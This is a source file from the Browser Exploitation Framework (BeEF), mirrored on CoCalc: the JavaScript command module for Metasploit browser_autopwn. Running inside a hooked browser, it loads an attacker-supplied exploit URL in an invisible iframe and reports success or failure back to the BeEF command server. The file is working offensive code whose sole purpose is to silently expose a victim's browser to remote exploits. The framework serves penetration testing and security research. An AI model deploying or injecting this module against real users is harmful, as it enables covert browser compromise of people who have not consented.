Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/metasploit/browser_autopwn/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var url = '<%= @sploit_url %>';
9
if (!/https?:\/\//i.test(url)) {
10
beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=invalid url");
11
return;
12
}
13
var sploit = beef.dom.createInvisibleIframe();
14
sploit.src = url;
15
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!");
16
});
17
18